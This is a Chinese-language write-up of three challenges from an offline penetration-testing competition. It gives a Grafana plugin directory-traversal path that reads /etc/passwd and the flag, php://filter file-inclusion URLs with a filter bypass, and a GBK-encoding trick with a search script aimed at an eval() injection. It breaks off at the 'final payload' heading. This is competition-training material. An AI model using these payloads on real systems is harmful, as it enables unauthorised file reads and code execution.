记一次线下渗透赛

  1. wherew
  2. grafana
  3. longlongago

wherew

这题的考点就是源码泄露,漏洞链接就在下面

相关漏洞链接

在发包的时候要把bp中自动更新长度的选项去掉,然后再开启换行符号显示,然后记得要在get请求下再加一个换行符,这样才会触发漏洞展示出源码。

第二个get请求下的文件只要是一个不存在的且是非php的文件就可以了

grafana

这题的考点是目录穿越

任选一个插件进行目录穿越就可以读取源文件

相关POC:

/public/plugins/alertmanager/../../../../../../../../etc/passwd

这题的flag就在根目录下,将/etc/passwd,换成/flag就可以读取flag

longlongago

这题的考点是文件包含漏洞

可以用伪协议进行读取,?a=php://filter/convert.base64-encode/resource=view/message 就可以读到网站的源码

$transcodeData = func::Transcoding($data) 这里进行了func函数的一个转换,后面还需要寻找func函数的源码

这里还存在过滤,必须都带上view这个字符串才可以通过过滤

?a=php://filter/convert.base64-encode|view/resource=index可以读取页面的源码数据

这里就看到了具体过滤的代码

?a=php://filter/convert.base64-encode|view/resource=/php/db

?a=php://filter/convert.base64-encode|view/resource=/php/func

分别读取db和func文件

这里的eval函数可以利用

$messageData = eval('return'.iconv('UTF-8','GBK',var_export($messageData,true).'j'));

import random

while True:
    unicode_char = chr(random.randint(0x4e00,0x9fbf))
    for byte in unicode_char.encode('gbk'):
        if byte == 92:
            print('Found:',unicode_char)

为了让数据库在转码的时候能够转码出一个反斜杠,让其和后面的单引号进行闭合

最终payload